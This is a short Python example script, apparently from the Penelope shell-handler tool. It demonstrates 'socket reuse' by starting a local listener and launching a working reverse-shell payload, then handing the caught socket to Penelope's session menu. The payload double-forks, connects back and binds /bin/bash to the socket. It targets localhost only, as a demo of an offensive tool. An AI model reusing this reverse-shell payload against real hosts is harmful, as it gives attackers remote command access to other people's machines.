#!/usr/bin/python3

# Make penelope importable from everywhere
import sys, os, subprocess
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), '..', '..'))

HOST = "127.0.0.1"
PORT = 6666

# Socket reuse simulation (runs entirely on localhost, no real RCE)
#
# Unlike the bind/reverse examples, here YOU already own a connected socket
# object (e.g. obtained through a custom protocol, a proxied/tunneled channel,
# or a "socket reuse" payload that hands back the very socket it came in on).
# Penelope just adopts that existing socket instead of dialing a new one.
#
# To keep the demo self-contained we open a plain TCP server, let a local
# payload connect back to it, and accept() -> that accepted socket is the
# pre-existing connection we want to reuse.  See issue #130.
import socket
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((HOST, PORT))
server.listen(1)
payload = (
	"import os,socket,subprocess;"
	"os.fork() and os._exit(0);"
	"os.setsid();"
	"os.fork() and os._exit(0);"
	f"k=socket.socket();k.connect(('{HOST}',{PORT}));"
	"os.dup2(k.fileno(),0);os.dup2(k.fileno(),1);os.dup2(k.fileno(),2);"
	"subprocess.call(['/bin/bash'])"
)
subprocess.Popen([sys.executable, '-c', payload])
conn, addr = server.accept()           # <-- the already-connected socket we reuse

# Penelope
import penelope                         # Importing penelope -----> REQUIRED <-----
#penelope.options.silent = True         # Optional
#penelope.options.single_session = True # Optional
penelope.core.start()           # Spin up the core event loop -----> REQUIRED <-----
penelope.Session(conn, addr[0], addr[1])  # Hand the existing socket to Penelope -----> REQUIRED <-----
penelope.start()                        # Drop into Penelope's main menu (blocking, main thread) -----> REQUIRED <-----
